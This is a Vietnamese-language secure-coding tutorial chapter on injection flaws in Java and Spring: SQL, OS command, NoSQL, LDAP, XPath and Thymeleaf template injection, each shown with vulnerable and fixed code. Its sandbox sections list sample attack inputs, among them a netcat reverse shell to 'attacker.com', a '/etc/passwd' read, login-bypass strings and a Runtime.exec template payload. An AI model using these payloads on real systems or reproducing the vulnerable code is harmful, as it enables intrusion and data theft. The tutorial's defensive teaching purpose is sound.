Chương 04: Injection Attacks (Các lỗ hổng tiêm mã)
Hóa giải triệt để các đòn tấn công tiêm mã trong Java: Đủ 9 khái niệm gồm SQL Injection, Command Injection, OS Commands Native APIs, NoSQL Criteria API, LDAP Encoder, XPath Resolver, SSTI Thymeleaf, Parameterized Query và Prepared Statement.
#01 SQL Injection & Parameterized Query in Java
💡 BƯỚC 1: ẨN DỤ ĐỜI THƯỜNG (FEYNMAN ANALOGY)
Bạn đến quầy thư viện và đưa mẩu giấy ghi: 'Tìm sách: Lịch Sử'. Nhưng kẻ gian đưa mẩu giấy ghi: 'Tìm sách: Lịch Sử' HOẶC 1=1; Lấy hết toàn bộ hồ sơ mật trong kho--'. Nếu người thủ thư đọc to cả câu đó và coi toàn bộ như một mệnh lệnh duy nhất, kho lưu trữ bí mật sẽ bị mở toang. PreparedStatement trong Java tách rời hoàn toàn: Câu lệnh là khung sắt đã đông cứng, dữ liệu người dùng chỉ là nước sơn đổ vào khuôn.
📊 HÌNH HỌA MINH HỌA (VISUAL FLOW): SQL Injection & Parameterized Query in Java
🧪 BƯỚC 2: PHÒNG THÍ NGHIỆM TƯƠNG TÁC (SANDBOX)
Mẫu thử nghiệm:
admin' OR 1=1 --' UNION SELECT null, username, password FROM users --1' AND SLEEP(5) --
⚠️ Nối chuỗi SQL: Câu lệnh trở thành: SELECT * FROM users WHERE user = 'admin' OR 1=1 --' AND pass = '...'. Biểu thức luôn đúng, hacker đăng nhập thẳng vào tài khoản Admin!
⚖️ BƯỚC 3: SO SÁNH CODE LỖI VS CODE CHUẨN (JAVA / SPRING BOOT)
❌ Vulnerable Java Code (Không an toàn)
// THẢM HỌA: Nối chuỗi SQL thô bằng Statement
String sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);
✅ Secure Java Code (Chuẩn bảo mật)
// CHUẨN AN TOÀN JAVA: Dùng PreparedStatement hoặc JdbcTemplate
String sql = "SELECT id, password_hash FROM users WHERE username = ?";
try (PreparedStatement pstmt = connection.prepareStatement(sql)) {
pstmt.setString(1, username);
try (ResultSet rs = pstmt.executeQuery()) {
if (rs.next() && passwordEncoder.matches(password, rs.getString("password_hash"))) {
return true;
}
}
}
🎯 BƯỚC 4: THỬ TÀI THẤU HIỂU (ACTIVE CHECK)
Vì sao PreparedStatement trong Java lại ngăn chặn triệt để được SQL Injection?
📝 Tóm tắt nhanh bằng lời của bạn (Feynman Notebook):
(Tự động lưu vào trình duyệt)
#02 Command Injection in Java (ProcessBuilder vs Runtime.exec())
💡 BƯỚC 1: ẨN DỤ ĐỜI THƯỜNG (FEYNMAN ANALOGY)
Bạn nhờ một robot: 'Hãy in bức ảnh có tên: cat.png'. Kẻ xấu bảo robot: 'Hãy in bức ảnh có tên: cat.png; rm -rf / (sau đó xóa sạch ổ cứng máy tính)'. Nếu robot gọi trực tiếp qua Shell (/bin/sh), nó sẽ thực hiện cả 2 lệnh. ProcessBuilder trong Java truyền tham số dạng danh sách tách rời (List), hệ điều hành không bao giờ phân tích dấu chấm phẩy hay dấu gạch đứng thành lệnh nối.
📊 HÌNH HỌA MINH HỌA (VISUAL FLOW): Command Injection in Java (ProcessBuilder vs Runtime.exec())
🧪 BƯỚC 2: PHÒNG THÍ NGHIỆM TƯƠNG TÁC (SANDBOX)
Mẫu thử nghiệm:
8.8.8.8; cat /etc/passwdgoogle.com && whoami127.0.0.1 | id
⚠️ Lỗ hổng Command Injection: Lệnh ping 8.8.8.8 chạy xong, terminal thực thi tiếp 'cat /etc/passwd' và trả về toàn bộ tài khoản máy chủ!
⚖️ BƯỚC 3: SO SÁNH CODE LỖI VS CODE CHUẨN (JAVA / SPRING BOOT)
❌ Vulnerable Java Code (Không an toàn)
// THẢM HỌA: Dùng Runtime.exec() nối chuỗi
String ip = request.getParameter("ip");
Runtime.getRuntime().exec("sh -c ping -c 1 " + ip);
✅ Secure Java Code (Chuẩn bảo mật)
// CHUẨN AN TOÀN JAVA: Validate IP + ProcessBuilder truyền List tham số
String ip = request.getParameter("ip");
if (!InetAddressValidator.getInstance().isValid(ip)) {
throw new IllegalArgumentException("IP không hợp lệ");
}
ProcessBuilder pb = new ProcessBuilder("/bin/ping", "-c", "1", ip);
Process process = pb.start();
🎯 BƯỚC 4: THỬ TÀI THẤU HIỂU (ACTIVE CHECK)
Sự khác biệt cốt lõi giữa việc gọi lệnh qua Shell và gọi trực tiếp binary file qua ProcessBuilder trong Java là gì?
📝 Tóm tắt nhanh bằng lời của bạn (Feynman Notebook):
(Tự động lưu vào trình duyệt)
#03 OS Command Injection Mitigation Strategies in Java
💡 BƯỚC 1: ẨN DỤ ĐỜI THƯỜNG (FEYNMAN ANALOGY)
Giống như việc bạn cho phép một vị khách điều khiển chiếc bảng điều khiển trung tâm của tòa nhà. Cách tốt nhất để khách không nghịch bậy bảng điều khiển là: 'Tuyệt đối không để khách chạm vào bảng điều khiển hệ thống; nếu khách cần mở quạt gió, hãy dùng công tắc quạt chuyên dụng thay vì đưa cả bảng điện cho khách'. Trong Java, hãy dùng thư viện Java thuần (Java NIO, Apache Commons Compress) thay vì gọi lệnh dòng lệnh tar/zip/cp của hệ điều hành.
📊 HÌNH HỌA MINH HỌA (VISUAL FLOW): OS Command Injection Mitigation Strategies in Java
🧪 BƯỚC 2: PHÒNG THÍ NGHIỆM TƯƠNG TÁC (SANDBOX)
Mẫu thử nghiệm:
$(id)`uname -a`test.txt & nc attacker.com 4444 -e /bin/sh
⚠️ Lỗ hổng Backtick / Subshell Execution: Lệnh `whoami` được hệ điều hành ưu tiên thực thi trước!
⚖️ BƯỚC 3: SO SÁNH CODE LỖI VS CODE CHUẨN (JAVA / SPRING BOOT)
❌ Vulnerable Java Code (Không an toàn)
// TỒI TỆ: Gọi lệnh 'zip' của Linux
Runtime.getRuntime().exec("zip -r " + userZipName + " " + folder);
✅ Secure Java Code (Chuẩn bảo mật)
// CHUẨN: Dùng ZipOutputStream thuần Java
try (ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(safeZipFile))) {
// Duyệt file và nén an toàn 100% trong JVM, không gọi OS command
}
🎯 BƯỚC 4: THỬ TÀI THẤU HIỂU (ACTIVE CHECK)
Cách tiếp cận tốt nhất để phòng tránh hoàn toàn OS Command Injection là gì?
📝 Tóm tắt nhanh bằng lời của bạn (Feynman Notebook):
(Tự động lưu vào trình duyệt)
#04 NoSQL Injection in Spring Data MongoDB
💡 BƯỚC 1: ẨN DỤ ĐỜI THƯỜNG (FEYNMAN ANALOGY)
Trong cơ sở dữ liệu quan hệ, bạn sợ dấu ngoặc đơn '. Nhưng trong MongoDB, dữ liệu gửi vào lại ở định dạng JSON/BSON. Kẻ tấn công gửi toán tử đặc biệt: { "$gt": "" } (Lớn hơn rỗng). Trong Spring Data MongoDB, nếu bạn tự ghép chuỗi vào @Query("{ 'user': '" + input + "' }"), ứng dụng sẽ dính NoSQL Injection. Ngược lại, nếu dùng Criteria API hoặc placeholder ?0, Spring tự động đối xử input như chuỗi thô.
📊 HÌNH HỌA MINH HỌA (VISUAL FLOW): NoSQL Injection in Spring Data MongoDB
🧪 BƯỚC 2: PHÒNG THÍ NGHIỆM TƯƠNG TÁC (SANDBOX)
Mẫu thử nghiệm:
password: {"$ne": null} (Bypass login)username: {"$gt": ""}Criteria API phòng vệ
⚠️ NoSQL Injection thành công: Toán tử $ne (Not Equal) khiến điều kiện 'Mật khẩu khác null' luôn đúng -> Đăng nhập thẳng mà không cần biết mật khẩu!
⚖️ BƯỚC 3: SO SÁNH CODE LỖI VS CODE CHUẨN (JAVA / SPRING BOOT)
❌ Vulnerable Java Code (Không an toàn)
// THẢM HỌA: Ghép chuỗi JSON trong Spring Data MongoDB
@Query("{ 'username': '?0', 'password': '" + rawPass + "' }")
User findUserInsecure(String username);
✅ Secure Java Code (Chuẩn bảo mật)
// CHUẨN AN TOÀN: Dùng MongoTemplate Criteria API hoặc placeholder ?0
Query query = new Query();
query.addCriteria(Criteria.where("username").is(username));
// Spring tự động ép kiểu và xử lý ký tự an toàn
User user = mongoTemplate.findOne(query, User.class);
🎯 BƯỚC 4: THỬ TÀI THẤU HIỂU (ACTIVE CHECK)
Toán tử nào của MongoDB thường bị lợi dụng nhiều nhất trong các cuộc tấn công NoSQL Injection để bypass đăng nhập?
📝 Tóm tắt nhanh bằng lời của bạn (Feynman Notebook):
(Tự động lưu vào trình duyệt)
#05 LDAP Injection Prevention in Java (Spring Security LDAP)
💡 BƯỚC 1: ẨN DỤ ĐỜI THƯỜNG (FEYNMAN ANALOGY)
Trong các tập đoàn lớn, hệ thống đăng nhập dùng chung Active Directory / LDAP. Truy vấn LDAP giống như tìm kiếm trong sổ danh bạ: (&(user=Alice)(pass=Secret)). Kẻ xấu nhập user là 'Alice)(&)' khiến câu lệnh trở thành (&(user=Alice)(&))(pass=...)). Dấu đóng ngoặc lách luật biến câu truy vấn thành 'Tìm người tên Alice VÀ Đúng', bỏ qua hoàn toàn phần kiểm tra mật khẩu phía sau.
📊 HÌNH HỌA MINH HỌA (VISUAL FLOW): LDAP Injection Prevention in Java (Spring Security LDAP)
🧪 BƯỚC 2: PHÒNG THÍ NGHIỆM TƯƠNG TÁC (SANDBOX)
Mẫu thử nghiệm:
admin)(&))--* (Wildcard lấy toàn bộ danh bạ)LdapEncoder.filterEncode()
⚠️ Lỗ hổng LDAP Injection: Phá vỡ cấu trúc bộ lọc LDAP filter, trả về tài khoản quản trị Domain Controller!
⚖️ BƯỚC 3: SO SÁNH CODE LỖI VS CODE CHUẨN (JAVA / SPRING BOOT)
❌ Vulnerable Java Code (Không an toàn)
// THẢM HỌA: Nối chuỗi vào LDAP Filter trong Java
String filter = "(&(uid=" + username + ")(userPassword=" + password + "))";
NamingEnumeration results = ctx.search("ou=users", filter, controls);
✅ Secure Java Code (Chuẩn bảo mật)
// CHUẨN AN TOÀN SPRING LDAP: Dùng LdapEncoder
import org.springframework.ldap.support.LdapEncoder;
String safeUser = LdapEncoder.filterEncode(username);
String safePass = LdapEncoder.filterEncode(password);
String filter = "(&(uid=" + safeUser + ")(userPassword=" + safePass + "))";
🎯 BƯỚC 4: THỬ TÀI THẤU HIỂU (ACTIVE CHECK)
Lớp nào trong Spring LDAP cung cấp phương thức chuẩn hóa để escape các ký tự điều khiển trong LDAP Search Filter?
📝 Tóm tắt nhanh bằng lời của bạn (Feynman Notebook):
(Tự động lưu vào trình duyệt)
#06 XPath Injection in Java XML Parsing
💡 BƯỚC 1: ẨN DỤ ĐỜI THƯỜNG (FEYNMAN ANALOGY)
XPath là ngôn ngữ dùng để tìm kiếm thông tin trong file XML giống như SQL tìm trong database: //users/user[login/text()='admin' and password/text()='secret']. Nếu không xử lý, hacker nhập ' or '1'='1 khiến cây thư mục XML trả về danh sách tất cả người dùng kèm thông tin thanh toán. Trong Java, sử dụng XPathVariableResolver để bind biến an toàn.
📊 HÌNH HỌA MINH HỌA (VISUAL FLOW): XPath Injection in Java XML Parsing
🧪 BƯỚC 2: PHÒNG THÍ NGHIỆM TƯƠNG TÁC (SANDBOX)
Mẫu thử nghiệm:
' or '1'='1' or ''='XPathVariableResolver
⚠️ XPath Injection: Biểu thức luôn đúng, trích xuất toàn bộ Node trong tài liệu XML mật!
⚖️ BƯỚC 3: SO SÁNH CODE LỖI VS CODE CHUẨN (JAVA / SPRING BOOT)
❌ Vulnerable Java Code (Không an toàn)
// NGUY HIỂM: Nối chuỗi XPath
String expr = "//users/user[username/text()='" + user + "' and password/text()='" + pass + "']";
XPathExpression xpath = xpathFactory.newXPath().compile(expr);
✅ Secure Java Code (Chuẩn bảo mật)
// CHUẨN: Sử dụng XPathVariableResolver
XPath xpath = xpathFactory.newXPath();
xpath.setXPathVariableResolver(new MapVariableResolver(Map.of(
new QName("user"), user,
new QName("pass"), pass
)));
XPathExpression expr = xpath.compile("//users/user[username=$user and password=$pass]");
🎯 BƯỚC 4: THỬ TÀI THẤU HIỂU (ACTIVE CHECK)
XPath Injection xảy ra trên định dạng dữ liệu nào?
📝 Tóm tắt nhanh bằng lời của bạn (Feynman Notebook):
(Tự động lưu vào trình duyệt)
#07 Server-Side Template Injection — SSTI in Thymeleaf / Spring
💡 BƯỚC 1: ẨN DỤ ĐỜI THƯỜNG (FEYNMAN ANALOGY)
Template Engine (như Thymeleaf trong Spring Boot) giống như một cái máy in tự động điền tên khách hàng vào mẫu thiệp mừng: 'Xin chào [[${name}]]'. Nhưng nếu lập trình viên lại cho phép người dùng tự nhập mẫu template (Template Fragment Injection) và họ viết: '__${T(java.lang.Runtime).getRuntime().exec('calc')}__', cỗ máy in sẽ lập tức mở Terminal và chạy mã độc chiếm quyền máy chủ.
📊 HÌNH HỌA MINH HỌA (VISUAL FLOW): Server-Side Template Injection — SSTI in Thymeleaf / Spring
🧪 BƯỚC 2: PHÒNG THÍ NGHIỆM TƯƠNG TÁC (SANDBOX)
Mẫu thử nghiệm:
__${7*7}__ (PoC kiểm tra 49)__${T(java.lang.Runtime).getRuntime().exec('id')}__Chỉ trả về tên View tĩnh cố định
⚠️ Lỗ hổng Thymeleaf Fragment SSTI: Biểu thức SpEL thực thi mã Java trên máy chủ và đạt được Remote Code Execution!
⚖️ BƯỚC 3: SO SÁNH CODE LỖI VS CODE CHUẨN (JAVA / SPRING BOOT)
❌ Vulnerable Java Code (Không an toàn)
// THẢM HỌA: Trả về tham số request làm tên View trong Thymeleaf
@GetMapping("/doc")
public String getDoc(@RequestParam String lang) {
// Hacker truyền: lang="__${T(java.lang.Runtime).getRuntime().exec('whoami')}__" -> RCE!
return "pages/" + lang + "/home";
}
✅ Secure Java Code (Chuẩn bảo mật)
// CHUẨN AN TOÀN SPRING BOOT: Dùng Allowlist cho View Name
private static final Set ALLOWED_LANGS = Set.of("vi", "en", "ja");
@GetMapping("/doc")
public String getDoc(@RequestParam(defaultValue = "vi") String lang, Model model) {
if (!ALLOWED_LANGS.contains(lang)) {
throw new IllegalArgumentException("Ngôn ngữ không được hỗ trợ");
}
model.addAttribute("safeData", "Nội dung an toàn");
return "pages/home"; // Tên template cố định, dữ liệu truyền qua Model!
}
🎯 BƯỚC 4: THỬ TÀI THẤU HIỂU (ACTIVE CHECK)
Vì sao việc nối tham số người dùng vào giá trị trả về (View Name) của một Spring MVC Controller sử dụng Thymeleaf lại có thể dẫn đến Remote Code Execution (RCE)?
📝 Tóm tắt nhanh bằng lời của bạn (Feynman Notebook):
(Tự động lưu vào trình duyệt)
#08 Parameterized Query (Truy vấn tham số hóa)
💡 BƯỚC 1: ẨN DỤ ĐỜI THƯỜNG (FEYNMAN ANALOGY)
Hãy tưởng tượng bạn đặt hàng một bưu kiện qua đường bưu điện. Bạn bỏ đồ vào chiếc hộp kín có niêm phong (Tham số). Người đưa thư chỉ việc vận chuyển chiếc hộp đó từ A đến B mà không bao giờ mở nắp ra xem bên trong có gì hay lắp ráp nó vào động cơ xe của anh ta. Parameterized Query đóng gói dữ liệu của người dùng vào chiếc hộp niêm phong, gửi thẳng tới database mà không để nó chạm vào động cơ phân tích cú pháp SQL.
📊 HÌNH HỌA MINH HỌA (VISUAL FLOW): Parameterized Query (Truy vấn tham số hóa)
🧪 BƯỚC 2: PHÒNG THÍ NGHIỆM TƯƠNG TÁC (SANDBOX)
Mẫu thử nghiệm:
id = 123id = '123' OR '1'='1'id = 10; DROP TABLE logs
✅ Tham số hóa bảo vệ: Cho dù id có chứa ký tự độc hại nào, nó vẫn bị giam trong tham số dữ liệu và không thể làm thay đổi cấu trúc truy vấn.
⚖️ BƯỚC 3: SO SÁNH CODE LỖI VS CODE CHUẨN (JAVA / SPRING BOOT)
❌ Vulnerable Java Code (Không an toàn)
// KHÔNG THAM SỐ HÓA: Ghép chuỗi thủ công trong Java
String sql = "SELECT * FROM items WHERE category = '" + req.getParameter("cat") + "'";
✅ Secure Java Code (Chuẩn bảo mật)
// CÓ THAM SỐ HÓA: Dùng JdbcTemplate
jdbcTemplate.query("SELECT * FROM items WHERE category = ?", rowMapper, req.getParameter("cat"));
🎯 BƯỚC 4: THỬ TÀI THẤU HIỂU (ACTIVE CHECK)
Trường hợp nào sau đây trong câu lệnh SQL KHÔNG THỂ sử dụng Parameterized Query trực tiếp mà bắt buộc phải dùng Allowlist?
📝 Tóm tắt nhanh bằng lời của bạn (Feynman Notebook):
(Tự động lưu vào trình duyệt)
#09 Prepared Statement Plan Caching (Câu lệnh chuẩn bị trước)
💡 BƯỚC 1: ẨN DỤ ĐỜI THƯỜNG (FEYNMAN ANALOGY)
Prepared Statement giống như một bản thiết kế đúc bê tông đã đông cứng. Bộ khung sắt thép của ngôi nhà (Logic truy vấn) đã được dựng sẵn và không thể thay đổi hình dạng được nữa. Bạn chỉ được phép đổ nước sơn (Dữ liệu) vào các khuôn có sẵn. Database biên dịch câu lệnh một lần duy nhất, lưu vào bộ nhớ cache và tái sử dụng cho hàng triệu lần gọi tiếp theo.
📊 HÌNH HỌA MINH HỌA (VISUAL FLOW): Prepared Statement Plan Caching (Câu lệnh chuẩn bị trước)
🧪 BƯỚC 2: PHÒNG THÍ NGHIỆM TƯƠNG TÁC (SANDBOX)
Mẫu thử nghiệm:
Thực thi lặp lại 10.000 lầnTruyền tham số an toànPre-compilation caching
✅ Tối ưu & An toàn: Database biên dịch câu lệnh một lần duy nhất, tái sử dụng execution plan và miễn nhiễm hoàn toàn với SQL Injection!
⚖️ BƯỚC 3: SO SÁNH CODE LỖI VS CODE CHUẨN (JAVA / SPRING BOOT)
❌ Vulnerable Java Code (Không an toàn)
// Mỗi lần lặp lại parse lại toàn bộ câu SQL mới
for (Long id : idList) {
stmt.executeQuery("SELECT * FROM products WHERE id = " + id);
}
✅ Secure Java Code (Chuẩn bảo mật)
// Chuẩn bị trước câu lệnh (Prepared), tái sử dụng execution plan
try (PreparedStatement pstmt = conn.prepareStatement("SELECT * FROM products WHERE id = ?")) {
for (Long id : idList) {
pstmt.setLong(1, id);
try (ResultSet rs = pstmt.executeQuery()) {
// Xử lý kết quả nhanh gấp 10 lần
}
}
}
🎯 BƯỚC 4: THỬ TÀI THẤU HIỂU (ACTIVE CHECK)
Lợi ích kép của việc sử dụng Prepared Statement trong phát triển phần mềm Java là gì?
📝 Tóm tắt nhanh bằng lời của bạn (Feynman Notebook):
(Tự động lưu vào trình duyệt)